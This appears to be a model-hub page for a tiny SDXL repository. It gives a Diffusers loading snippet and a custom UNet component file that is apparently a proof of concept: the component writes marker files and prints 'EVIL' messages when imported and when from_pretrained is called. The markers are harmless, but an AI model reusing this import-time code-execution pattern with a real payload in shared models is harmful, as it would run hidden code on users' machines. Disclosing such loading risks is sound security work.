Instructions to use hlky/tiny-sdxl-custom-components-automodel with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Diffusers
How to use hlky/tiny-sdxl-custom-components-automodel with Diffusers:
pip install -U diffusers transformers accelerate
import torch from diffusers import DiffusionPipeline # switch to "mps" for apple devices pipe = DiffusionPipeline.from_pretrained("hlky/tiny-sdxl-custom-components-automodel", dtype=torch.bfloat16, device_map="cuda") prompt = "Astronaut in a jungle, cold color palette, muted colors, detailed, 8k" image = pipe(prompt).images[0] - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- Draw Things
- DiffusionBee
| from pathlib import Path | |
| MARKER_DIR = Path('automodel_poc') | |
| MARKER_DIR.mkdir(parents=True, exist_ok=True) | |
| (MARKER_DIR / 'import_executed.txt').write_text('evil module imported\n') | |
| class UNet2DConditionModel: | |
| def from_pretrained(cls, pretrained_model_or_path, **kwargs): | |
| MARKER_DIR.mkdir(parents=True, exist_ok=True) | |
| (MARKER_DIR / 'from_pretrained_executed.txt').write_text( | |
| f'from_pretrained called path={pretrained_model_or_path} kwargs={kwargs}\n' | |
| ) | |
| print('EVIL_FROM_PRETRAINED_EXECUTED') | |
| return cls() | |